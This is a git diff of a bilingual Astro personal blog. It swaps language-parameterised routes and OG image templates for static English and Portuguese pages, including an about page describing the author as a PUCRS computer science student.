image={pageCardPath('en', '404')}
|
|
||||||
>
|
|
||||||
<section class="mx-10 flex flex-col items-start px-4 py-24 sm:px-6 font-mono">
|
|
||||||
<p class="font-mono text-sm text-primary">404</p>
|
<p class="font-mono text-sm text-primary">404</p>
|
||||||
{LANGS.map((lang) => (
|
{langs.map((lang) => (
|
||||||
<div data-notfound-lang={lang} class={lang === 'en' ? '' : 'hidden'}>
|
<div data-notfound-lang={lang} class={lang === 'en' ? '' : 'hidden'}>
|
||||||
<h1 class="mt-2 text-3xl font-bold tracking-tight text-text">{ui[lang]['404.title']}</h1>
|
<h1 class="mt-2 text-3xl font-bold tracking-tight text-text">{ui[lang]['404.title']}</h1>
|
||||||
<p class="mt-3 text-text-muted">{ui[lang]['404.body']}</p>
|
<p class="mt-3 text-text-muted">{ui[lang]['404.body']}</p>
|
||||||
<a
|
<a
|
||||||
href={getLocalizedPath('/', lang)}
|
href={getLocalizedPath('/', lang)}
|
||||||
class="mt-4 inline-block underline text-primary hover:text-primary-hover font-bold"
|
class="mt-6 inline-block rounded-full bg-primary px-5 py-2.5 text-sm font-semibold text-white transition-colors hover:bg-primary-hover"
|
||||||
>
|
>
|
||||||
{ui[lang]['404.cta']}
|
{ui[lang]['404.cta']}
|
||||||
</a>
|
</a>
|
||||||
|
|
|
||||||
|
|
@ -1,38 +0,0 @@
|
||||||
---
|
|
||||||
import { render } from 'astro:content';
|
|
||||||
import BaseLayout from '../../layouts/BaseLayout.astro';
|
|
||||||
import { aboutPathOf, getAboutPages, type AboutPage } from '../../lib/about';
|
|
||||||
import { pageMeta, useTranslations, type Lang } from '../../lib/i18n';
|
|
||||||
import { pageCardPath } from '../../lib/social-cards';
|
|
||||||
|
|
||||||
export async function getStaticPaths() {
|
|
||||||
const pages = await getAboutPages();
|
|
||||||
// The language switcher and hreflang links need the other language's slug.
|
|
||||||
const alternates = Object.fromEntries(pages.map((page) => [page.data.language, `${aboutPathOf(page)}/`]));
|
|
||||||
return pages.map((page) => ({
|
|
||||||
params: { lang: page.data.language, about: page.data.slug },
|
|
||||||
props: { page, alternates },
|
|
||||||
}));
|
|
||||||
}
|
|
||||||
|
|
||||||
interface Props {
|
|
||||||
page: AboutPage;
|
|
||||||
alternates: Record<Lang, string>;
|
|
||||||
}
|
|
||||||
|
|
||||||
const { page: entry, alternates } = Astro.props;
|
|
||||||
const lang = entry.data.language;
|
|
||||||
const t = useTranslations(lang);
|
|
||||||
const page = pageMeta(lang, 'about');
|
|
||||||
const { Content } = await render(entry);
|
|
||||||
---
|
|
||||||
|
|
||||||
<BaseLayout title={`${page.title} — ${t('site.name')}`} description={page.description} lang={lang} image={pageCardPath(lang, 'about')} alternates={alternates}>
|
|
||||||
<section class="mx-10 mt-10 font-mono">
|
|
||||||
<h1 class="text-3xl font-bold tracking-tight text-text sm:text-4xl">{page.title}</h1>
|
|
||||||
|
|
||||||
<div class="prose prose-neutral mt-6 max-w-none prose-headings:font-semibold prose-a:text-primary prose-a:no-underline hover:prose-a:underline dark:prose-invert">
|
|
||||||
<Content />
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
</BaseLayout>
|
|
||||||
|
|
@ -1,24 +0,0 @@
|
||||||
import rss from '@astrojs/rss';
|
|
||||||
import type { APIContext } from 'astro';
|
|
||||||
import { getLocalizedPath, langPaths, useTranslations, type Lang } from '../../lib/i18n';
|
|
||||||
import { getPostsByLang, slugOf } from '../../lib/posts';
|
|
||||||
|
|
||||||
export const getStaticPaths = langPaths;
|
|
||||||
|
|
||||||
export async function GET(context: APIContext) {
|
|
||||||
const lang = context.params.lang as Lang;
|
|
||||||
const t = useTranslations(lang);
|
|
||||||
const posts = await getPostsByLang(lang);
|
|
||||||
return rss({
|
|
||||||
title: t('feed.title'),
|
|
||||||
description: t('feed.description'),
|
|
||||||
site: new URL(getLocalizedPath('/', lang), context.site),
|
|
||||||
customData: `<language>${lang}</language>`,
|
|
||||||
items: posts.map((post) => ({
|
|
||||||
title: post.data.title,
|
|
||||||
pubDate: post.data.pubDate,
|
|
||||||
description: post.data.description,
|
|
||||||
link: `${getLocalizedPath(`/posts/${slugOf(post)}`, lang)}/`,
|
|
||||||
})),
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
@ -1,20 +0,0 @@
|
||||||
---
|
|
||||||
import BaseLayout from '../../layouts/BaseLayout.astro';
|
|
||||||
import HomeContent from '../../components/HomeContent.astro';
|
|
||||||
import { langPaths, pageMeta, useTranslations, type Lang } from '../../lib/i18n';
|
|
||||||
import { pageCardPath } from '../../lib/social-cards';
|
|
||||||
|
|
||||||
export const getStaticPaths = langPaths;
|
|
||||||
|
|
||||||
const lang = Astro.params.lang as Lang;
|
|
||||||
const t = useTranslations(lang);
|
|
||||||
---
|
|
||||||
|
|
||||||
<BaseLayout
|
|
||||||
title={`${t('site.name')} — ${t('hero.kicker')}`}
|
|
||||||
description={pageMeta(lang, 'home').description}
|
|
||||||
lang={lang}
|
|
||||||
image={pageCardPath(lang, 'home')}
|
|
||||||
>
|
|
||||||
<HomeContent lang={lang} />
|
|
||||||
</BaseLayout>
|
|
||||||
|
|
@ -1,36 +0,0 @@
|
||||||
---
|
|
||||||
import { render } from 'astro:content';
|
|
||||||
import BaseLayout from '../../../layouts/BaseLayout.astro';
|
|
||||||
import PostLayout from '../../../layouts/PostLayout.astro';
|
|
||||||
import ObservationCard from '../../../components/ObservationCard';
|
|
||||||
import { LANGS, useTranslations, type Lang } from '../../../lib/i18n';
|
|
||||||
import { getPostsByLang, slugOf, estimateReadingMinutes } from '../../../lib/posts';
|
|
||||||
import { postCardPath } from '../../../lib/social-cards';
|
|
||||||
|
|
||||||
export async function getStaticPaths() {
|
|
||||||
const pathsByLang = await Promise.all(
|
|
||||||
LANGS.map(async (lang) =>
|
|
||||||
(await getPostsByLang(lang, { includeDrafts: true })).map((post) => ({ params: { lang, slug: slugOf(post) }, props: { post } })),
|
|
||||||
),
|
|
||||||
);
|
|
||||||
return pathsByLang.flat();
|
|
||||||
}
|
|
||||||
|
|
||||||
const lang = Astro.params.lang as Lang;
|
|
||||||
const t = useTranslations(lang);
|
|
||||||
const { post } = Astro.props;
|
|
||||||
const { Content } = await render(post);
|
|
||||||
const readingMinutes = estimateReadingMinutes(post.body ?? '');
|
|
||||||
---
|
|
||||||
|
|
||||||
<BaseLayout
|
|
||||||
title={`${post.data.title} — ${t('site.name')}`}
|
|
||||||
description={post.data.description}
|
|
||||||
lang={lang}
|
|
||||||
image={postCardPath(lang, slugOf(post))}
|
|
||||||
noindex={post.data.draft}
|
|
||||||
>
|
|
||||||
<PostLayout post={post} lang={lang} readingMinutes={readingMinutes}>
|
|
||||||
<Content components={{ ObservationCard }} />
|
|
||||||
</PostLayout>
|
|
||||||
</BaseLayout>
|
|
||||||
|
|
@ -1,16 +0,0 @@
|
||||||
---
|
|
||||||
import BaseLayout from '../../../layouts/BaseLayout.astro';
|
|
||||||
import PostsContent from '../../../components/PostsContent.astro';
|
|
||||||
import { langPaths, pageMeta, useTranslations, type Lang } from '../../../lib/i18n';
|
|
||||||
import { pageCardPath } from '../../../lib/social-cards';
|
|
||||||
|
|
||||||
export const getStaticPaths = langPaths;
|
|
||||||
|
|
||||||
const lang = Astro.params.lang as Lang;
|
|
||||||
const t = useTranslations(lang);
|
|
||||||
const page = pageMeta(lang, 'posts');
|
|
||||||
---
|
|
||||||
|
|
||||||
<BaseLayout title={`${page.title} — ${t('site.name')}`} description={page.description} lang={lang} image={pageCardPath(lang, 'posts')}>
|
|
||||||
<PostsContent lang={lang} />
|
|
||||||
</BaseLayout>
|
|
||||||
|
|
@ -1,23 +0,0 @@
|
||||||
---
|
|
||||||
import BaseLayout from '../../../../layouts/BaseLayout.astro';
|
|
||||||
import PostsContent from '../../../../components/PostsContent.astro';
|
|
||||||
import { LANGS, tagPageMeta, useTranslations, type Lang } from '../../../../lib/i18n';
|
|
||||||
import { getAllTags } from '../../../../lib/posts';
|
|
||||||
import { tagCardPath } from '../../../../lib/social-cards';
|
|
||||||
|
|
||||||
export async function getStaticPaths() {
|
|
||||||
const pathsByLang = await Promise.all(
|
|
||||||
LANGS.map(async (lang) => (await getAllTags(lang)).map((tag) => ({ params: { lang, tag } }))),
|
|
||||||
);
|
|
||||||
return pathsByLang.flat();
|
|
||||||
}
|
|
||||||
|
|
||||||
const lang = Astro.params.lang as Lang;
|
|
||||||
const tag = Astro.params.tag!;
|
|
||||||
const t = useTranslations(lang);
|
|
||||||
const page = tagPageMeta(lang, tag);
|
|
||||||
---
|
|
||||||
|
|
||||||
<BaseLayout title={`${page.title} — ${t('site.name')}`} description={page.description} lang={lang} image={tagCardPath(lang, tag)}>
|
|
||||||
<PostsContent lang={lang} tag={tag} />
|
|
||||||
</BaseLayout>
|
|
||||||
41
src/pages/about.astro
Normal file
|
|
@ -0,0 +1,41 @@
|
||||||
|
---
|
||||||
|
import BaseLayout from '../layouts/BaseLayout.astro';
|
||||||
|
import { useTranslations } from '../lib/i18n';
|
||||||
|
|
||||||
|
const t = useTranslations('en');
|
||||||
|
const description =
|
||||||
|
"Gabriel Franco (gabeefranco): computer science student at PUCRS, interested in how software actually works and in the history of the open source movement.";
|
||||||
|
---
|
||||||
|
|
||||||
|
<BaseLayout title={`${t('about.title')} — ${t('site.name')}`} description={description} lang="en">
|
||||||
|
<section class="mx-auto max-w-3xl px-4 py-14 sm:px-6">
|
||||||
|
<h1 class="text-3xl font-bold tracking-tight text-text sm:text-4xl">{t('about.title')}</h1>
|
||||||
|
|
||||||
|
<div class="prose prose-neutral mt-6 max-w-none prose-headings:font-semibold prose-a:text-primary prose-a:no-underline hover:prose-a:underline dark:prose-invert">
|
||||||
|
<p>
|
||||||
|
Hi, I'm Gabe — Gabriel Franco. I'm a computer science student at PUCRS (Pontifícia
|
||||||
|
Universidade Católica do Rio Grande do Sul), and this blog is where I write down the
|
||||||
|
things I'm learning and thinking about along the way.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
I care a lot about computer science as a field, not just as a set of tools to ship
|
||||||
|
products with. I have a fairly specific way of doing things: I'd rather understand a
|
||||||
|
system properly than memorize the steps to make it work, and I tend to slow down on
|
||||||
|
purpose to figure out what's actually happening under the hood — in a compiler, an
|
||||||
|
operating system, a language runtime, whatever it is. That habit shapes most of what ends
|
||||||
|
up on this blog.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
I'm also genuinely interested in the history of the open source movement: the people,
|
||||||
|
the arguments, and the decisions that shaped the software we all rely on. Figures like
|
||||||
|
Linus Torvalds and projects like GNU come up often in what I read and write about, not
|
||||||
|
as trivia, but because understanding where a tool came from usually explains a lot about
|
||||||
|
how and why it works the way it does today.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
This site is bilingual, in English and in Portuguese, and every post exists in both
|
||||||
|
languages. Thanks for stopping by.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</BaseLayout>
|
||||||
11
src/pages/index.astro
Normal file
|
|
@ -0,0 +1,11 @@
|
||||||
|
---
|
||||||
|
import BaseLayout from '../layouts/BaseLayout.astro';
|
||||||
|
import HomeContent from '../components/HomeContent.astro';
|
||||||
|
import { useTranslations } from '../lib/i18n';
|
||||||
|
|
||||||
|
const t = useTranslations('en');
|
||||||
|
---
|
||||||
|
|
||||||
|
<BaseLayout title={`${t('site.name')} — ${t('hero.kicker')}`} description={t('hero.subtitle')} lang="en">
|
||||||
|
<HomeContent lang="en" />
|
||||||
|
</BaseLayout>
|
||||||
|
|
@ -1,78 +0,0 @@
|
||||||
---
|
|
||||||
// OG image template for non-post pages (home, posts, about, tags, 404).
|
|
||||||
// Same look as social-card.astro, without the author line. Screenshotted by
|
|
||||||
// scripts/generate-social-cards.ts via Cloudflare Browser Run; not meant to be
|
|
||||||
// visited directly.
|
|
||||||
export const prerender = false;
|
|
||||||
|
|
||||||
const title = Astro.url.searchParams.get('title') || 'gabeefranco';
|
|
||||||
const description = Astro.url.searchParams.get('description');
|
|
||||||
---
|
|
||||||
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<meta charset="utf-8" />
|
|
||||||
<meta name="robots" content="noindex" />
|
|
||||||
<link
|
|
||||||
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;700&family=JetBrains+Mono:wght@600&display=swap"
|
|
||||||
rel="stylesheet"
|
|
||||||
/>
|
|
||||||
<style>
|
|
||||||
* {
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
box-sizing: border-box;
|
|
||||||
}
|
|
||||||
body {
|
|
||||||
position: relative;
|
|
||||||
width: 1200px;
|
|
||||||
height: 630px;
|
|
||||||
display: flex;
|
|
||||||
flex-direction: column;
|
|
||||||
justify-content: flex-end;
|
|
||||||
padding: 72px;
|
|
||||||
padding-bottom: 96px;
|
|
||||||
font-family: 'Inter', system-ui, sans-serif;
|
|
||||||
background: #fbf9f6;
|
|
||||||
color: #201a14;
|
|
||||||
border-bottom: 16px solid #e8590c;
|
|
||||||
}
|
|
||||||
.brand {
|
|
||||||
position: absolute;
|
|
||||||
top: 60px;
|
|
||||||
left: 24px;
|
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
gap: 16px;
|
|
||||||
font-family: 'JetBrains Mono', monospace;
|
|
||||||
font-size: 40px;
|
|
||||||
font-weight: 600;
|
|
||||||
}
|
|
||||||
.brand img {
|
|
||||||
height: 64px;
|
|
||||||
}
|
|
||||||
.title {
|
|
||||||
font-size: 64px;
|
|
||||||
margin-left: 24px;
|
|
||||||
font-weight: 700;
|
|
||||||
line-height: 1.1;
|
|
||||||
letter-spacing: -0.02em;
|
|
||||||
margin-bottom: 24px;
|
|
||||||
}
|
|
||||||
.description {
|
|
||||||
font-size: 28px;
|
|
||||||
line-height: 1.35;
|
|
||||||
color: #6b5f52;
|
|
||||||
margin-left: 24px;
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<div class="brand">
|
|
||||||
<img src="/logo.png" alt="" />
|
|
||||||
<span>gabeefranco</span>
|
|
||||||
</div>
|
|
||||||
<h1 class="title">{title}</h1>
|
|
||||||
{description && <p class="description">{description}</p>}
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
22
src/pages/posts/[...slug].astro
Normal file
|
|
@ -0,0 +1,22 @@
|
||||||
|
---
|
||||||
|
import { render } from 'astro:content';
|
||||||
|
import BaseLayout from '../../layouts/BaseLayout.astro';
|
||||||
|
import PostLayout from '../../layouts/PostLayout.astro';
|
||||||
|
import ObservationCard from '../../components/ObservationCard';
|
||||||
|
import { getPostsByLang, slugOf, estimateReadingMinutes } from '../../lib/posts';
|
||||||
|
|
||||||
|
export async function getStaticPaths() {
|
||||||
|
const posts = await getPostsByLang('en');
|
||||||
|
return posts.map((post) => ({ params: { slug: slugOf(post) }, props: { post } }));
|
||||||
|
}
|
||||||
|
|
||||||
|
const { post } = Astro.props;
|
||||||
|
const { Content } = await render(post);
|
||||||
|
const readingMinutes = estimateReadingMinutes(post.body ?? '');
|
||||||
|
---
|
||||||
|
|
||||||
|
<BaseLayout title={`${post.data.title} — gabeefranco`} description={post.data.description} lang="en">
|
||||||
|
<PostLayout post={post} lang="en" readingMinutes={readingMinutes}>
|
||||||
|
<Content components={{ ObservationCard }} />
|
||||||
|
</PostLayout>
|
||||||
|
</BaseLayout>
|
||||||
11
src/pages/posts/index.astro
Normal file
|
|
@ -0,0 +1,11 @@
|
||||||
|
---
|
||||||
|
import BaseLayout from '../../layouts/BaseLayout.astro';
|
||||||
|
import PostsContent from '../../components/PostsContent.astro';
|
||||||
|
import { useTranslations } from '../../lib/i18n';
|
||||||
|
|
||||||
|
const t = useTranslations('en');
|
||||||
|
---
|
||||||
|
|
||||||
|
<BaseLayout title={`${t('posts.title')} — ${t('site.name')}`} description={t('posts.subtitle')} lang="en">
|
||||||
|
<PostsContent lang="en" />
|
||||||
|
</BaseLayout>
|
||||||
42
src/pages/pt/about.astro
Normal file
|
|
@ -0,0 +1,42 @@
|
||||||
|
---
|
||||||
|
import BaseLayout from '../../layouts/BaseLayout.astro';
|
||||||
|
import { useTranslations } from '../../lib/i18n';
|
||||||
|
|
||||||
|
const t = useTranslations('pt');
|
||||||
|
const description =
|
||||||
|
'Gabriel Franco (gabeefranco): estudante de ciência da computação na PUCRS, interessado em como o software realmente funciona e na história do movimento open source.';
|
||||||
|
---
|
||||||
|
|
||||||
|
<BaseLayout title={`${t('about.title')} — ${t('site.name')}`} description={description} lang="pt">
|
||||||
|
<section class="mx-auto max-w-3xl px-4 py-14 sm:px-6">
|
||||||
|
<h1 class="text-3xl font-bold tracking-tight text-text sm:text-4xl">{t('about.title')}</h1>
|
||||||
|
|
||||||
|
<div class="prose prose-neutral mt-6 max-w-none prose-headings:font-semibold prose-a:text-primary prose-a:no-underline hover:prose-a:underline dark:prose-invert">
|
||||||
|
<p>
|
||||||
|
Olá, eu sou o Gabe — Gabriel Franco. Sou estudante de ciência da computação na PUCRS
|
||||||
|
(Pontifícia Universidade Católica do Rio Grande do Sul), e este blog é onde registro as
|
||||||
|
coisas que vou aprendendo e pensando pelo caminho.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
Eu me importo bastante com ciência da computação como área, não só como um conjunto de
|
||||||
|
ferramentas para lançar produtos. Tenho um jeito bem específico de fazer as coisas:
|
||||||
|
prefiro entender um sistema de verdade a decorar os passos para fazê-lo funcionar, e
|
||||||
|
costumo desacelerar de propósito para descobrir o que realmente está acontecendo por
|
||||||
|
baixo dos panos — em um compilador, em um sistema operacional, no runtime de uma
|
||||||
|
linguagem, seja lá o que for. Esse hábito molda a maior parte do que acaba virando post
|
||||||
|
aqui.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
Também tenho um interesse genuíno pela história do movimento open source: as pessoas, os
|
||||||
|
debates e as decisões que moldaram o software do qual todos dependemos. Figuras como
|
||||||
|
Linus Torvalds e projetos como o GNU aparecem com frequência no que leio e escrevo, não
|
||||||
|
como curiosidade, mas porque entender de onde uma ferramenta veio costuma explicar
|
||||||
|
bastante sobre como e por que ela funciona do jeito que funciona hoje.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
Este site é bilíngue, em inglês e em português, e todo post existe nos dois idiomas.
|
||||||
|
Obrigado pela visita.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</BaseLayout>
|
||||||
11
src/pages/pt/index.astro
Normal file
|
|
@ -0,0 +1,11 @@
|
||||||
|
---
|
||||||
|
import BaseLayout from '../../layouts/BaseLayout.astro';
|
||||||
|
import HomeContent from '../../components/HomeContent.astro';
|
||||||
|
import { useTranslations } from '../../lib/i18n';
|
||||||
|
|
||||||
|
const t = useTranslations('pt');
|
||||||
|
---
|
||||||
|
|
||||||
|
<BaseLayout title={`${t('site.name')} — ${t('hero.kicker')}`} description={t('hero.subtitle')} lang="pt">
|
||||||
|
<HomeContent lang="pt" />
|
||||||
|
</BaseLayout>
|
||||||
22
src/pages/pt/posts/[...slug].astro
Normal file
|
|
@ -0,0 +1,22 @@
|
||||||
|
---
|
||||||
|
import { render } from 'astro:content';
|
||||||
|
import BaseLayout from '../../../layouts/BaseLayout.astro';
|
||||||
|
import PostLayout from '../../../layouts/PostLayout.astro';
|
||||||
|
import ObservationCard from '../../../components/ObservationCard';
|
||||||
|
import { getPostsByLang, slugOf, estimateReadingMinutes } from '../../../lib/posts';
|
||||||
|
|
||||||
|
export async function getStaticPaths() {
|
||||||
|
const posts = await getPostsByLang('pt');
|
||||||
|
return posts.map((post) => ({ params: { slug: slugOf(post) }, props: { post } }));
|
||||||
|
}
|
||||||
|
|
||||||
|
const { post } = Astro.props;
|
||||||
|
const { Content } = await render(post);
|
||||||
|
const readingMinutes = estimateReadingMinutes(post.body ?? '');
|
||||||
|
---
|
||||||
|
|
||||||
|
<BaseLayout title={`${post.data.title} — gabeefranco`} description={post.data.description} lang="pt">
|
||||||
|
<PostLayout post={post} lang="pt" readingMinutes={readingMinutes}>
|
||||||
|
<Content components={{ ObservationCard }} />
|
||||||
|
</PostLayout>
|
||||||
|
</BaseLayout>
|
||||||
11
src/pages/pt/posts/index.astro
Normal file
|
|
@ -0,0 +1,11 @@
|
||||||
|
---
|
||||||
|
import BaseLayout from '../../../layouts/BaseLayout.astro';
|
||||||
|
import PostsContent from '../../../components/PostsContent.astro';
|
||||||
|
import { useTranslations } from '../../../lib/i18n';
|
||||||
|
|
||||||
|
const t = useTranslations('pt');
|
||||||
|
---
|
||||||
|
|
||||||
|
<BaseLayout title={`${t('posts.title')} — ${t('site.name')}`} description={t('posts.subtitle')} lang="pt">
|
||||||
|
<PostsContent lang="pt" />
|
||||||
|
</BaseLayout>
|
||||||
23
src/pages/pt/tags/[tag]/index.astro
Normal file
|
|
@ -0,0 +1,23 @@
|
||||||
|
---
|
||||||
|
import BaseLayout from '../../../../layouts/BaseLayout.astro';
|
||||||
|
import PostsContent from '../../../../components/PostsContent.astro';
|
||||||
|
import { getAllTags, getPostsByLang } from '../../../../lib/posts';
|
||||||
|
import { useTranslations } from '../../../../lib/i18n';
|
||||||
|
|
||||||
|
export async function getStaticPaths() {
|
||||||
|
const tags = await getAllTags('pt');
|
||||||
|
return tags.map((tag) => ({ params: { tag } }));
|
||||||
|
}
|
||||||
|
|
||||||
|
const { tag } = Astro.params;
|
||||||
|
const t = useTranslations('pt');
|
||||||
|
const posts = (await getPostsByLang('pt')).filter((p) => p.data.tags.includes(tag!));
|
||||||
|
---
|
||||||
|
|
||||||
|
<BaseLayout
|
||||||
|
title={`#${tag} — ${t('site.name')}`}
|
||||||
|
description={`${t('posts.filteredBy')} #${tag}: ${posts.map((p) => p.data.title).join(', ')}`}
|
||||||
|
lang="pt"
|
||||||
|
>
|
||||||
|
<PostsContent lang="pt" tag={tag} />
|
||||||
|
</BaseLayout>
|
||||||
|
|
@ -1,85 +0,0 @@
|
||||||
---
|
|
||||||
// OG image template. Screenshotted by scripts/generate-social-cards.ts via
|
|
||||||
// Cloudflare Browser Run; not meant to be visited directly.
|
|
||||||
export const prerender = false;
|
|
||||||
|
|
||||||
const title = Astro.url.searchParams.get('title') || 'Untitled';
|
|
||||||
const description = Astro.url.searchParams.get('description');
|
|
||||||
const author = Astro.url.searchParams.get('author');
|
|
||||||
---
|
|
||||||
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<meta charset="utf-8" />
|
|
||||||
<meta name="robots" content="noindex" />
|
|
||||||
<link
|
|
||||||
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;700&family=JetBrains+Mono:wght@600&display=swap"
|
|
||||||
rel="stylesheet"
|
|
||||||
/>
|
|
||||||
<style>
|
|
||||||
* {
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
box-sizing: border-box;
|
|
||||||
}
|
|
||||||
body {
|
|
||||||
position: relative;
|
|
||||||
width: 1200px;
|
|
||||||
height: 630px;
|
|
||||||
display: flex;
|
|
||||||
flex-direction: column;
|
|
||||||
justify-content: flex-end;
|
|
||||||
padding: 72px;
|
|
||||||
font-family: 'Inter', system-ui, sans-serif;
|
|
||||||
background: #fbf9f6;
|
|
||||||
color: #201a14;
|
|
||||||
border-bottom: 16px solid #e8590c;
|
|
||||||
}
|
|
||||||
.brand {
|
|
||||||
position: absolute;
|
|
||||||
top: 30px;
|
|
||||||
left: 24px;
|
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
gap: 16px;
|
|
||||||
font-family: 'JetBrains Mono', monospace;
|
|
||||||
font-size: 40px;
|
|
||||||
font-weight: 600;
|
|
||||||
}
|
|
||||||
.brand img {
|
|
||||||
height: 64px;
|
|
||||||
}
|
|
||||||
.title {
|
|
||||||
font-size: 64px;
|
|
||||||
margin-left: 24px;
|
|
||||||
font-weight: 700;
|
|
||||||
line-height: 1.1;
|
|
||||||
letter-spacing: -0.02em;
|
|
||||||
margin-bottom: 24px;
|
|
||||||
}
|
|
||||||
.description {
|
|
||||||
font-size: 28px;
|
|
||||||
line-height: 1.35;
|
|
||||||
color: #6b5f52;
|
|
||||||
margin-left: 24px;
|
|
||||||
}
|
|
||||||
.author {
|
|
||||||
margin-top: 24px;
|
|
||||||
margin-left: 24px;
|
|
||||||
margin-bottom: 24px;
|
|
||||||
font-family: 'JetBrains Mono', monospace;
|
|
||||||
font-size: 24px;
|
|
||||||
color: #e8590c;
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<div class="brand">
|
|
||||||
<img src="/logo.png" alt="" />
|
|
||||||
<span>gabeefranco</span>
|
|
||||||
</div>
|
|
||||||
<h1 class="title">{title}</h1>
|
|
||||||
{description && <p class="description">{description}</p>}
|
|
||||||
{author && <p class="author">{author}</p>}
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
23
src/pages/tags/[tag]/index.astro
Normal file
|
|
@ -0,0 +1,23 @@
|
||||||
|
---
|
||||||
|
import BaseLayout from '../../../layouts/BaseLayout.astro';
|
||||||
|
import PostsContent from '../../../components/PostsContent.astro';
|
||||||
|
import { getAllTags, getPostsByLang } from '../../../lib/posts';
|
||||||
|
import { useTranslations } from '../../../lib/i18n';
|
||||||
|
|
||||||
|
export async function getStaticPaths() {
|
||||||
|
const tags = await getAllTags('en');
|
||||||
|
return tags.map((tag) => ({ params: { tag } }));
|
||||||
|
}
|
||||||
|
|
||||||
|
const { tag } = Astro.params;
|
||||||
|
const t = useTranslations('en');
|
||||||
|
const posts = (await getPostsByLang('en')).filter((p) => p.data.tags.includes(tag!));
|
||||||
|
---
|
||||||
|
|
||||||
|
<BaseLayout
|
||||||
|
title={`#${tag} — ${t('site.name')}`}
|
||||||
|
description={`${t('posts.filteredBy')} #${tag}: ${posts.map((p) => p.data.title).join(', ')}`}
|
||||||
|
lang="en"
|
||||||
|
>
|
||||||
|
<PostsContent lang="en" tag={tag} />
|
||||||
|
</BaseLayout>
|
||||||
|
|
@ -6,8 +6,7 @@
|
||||||
|
|
||||||
@theme inline {
|
@theme inline {
|
||||||
--font-sans: "Inter", ui-sans-serif, system-ui, sans-serif;
|
--font-sans: "Inter", ui-sans-serif, system-ui, sans-serif;
|
||||||
--font-prose: var(--font-iawriter), ui-monospace, SFMono-Regular, Menlo, monospace;
|
--font-mono: "JetBrains Mono", ui-monospace, SFMono-Regular, Menlo, monospace;
|
||||||
--font-mono: var(--font-iawriter), ui-monospace, SFMono-Regular, Menlo, monospace;
|
|
||||||
|
|
||||||
--color-bg: var(--bg);
|
--color-bg: var(--bg);
|
||||||
--color-surface: var(--surface);
|
--color-surface: var(--surface);
|
||||||
|
|
|
||||||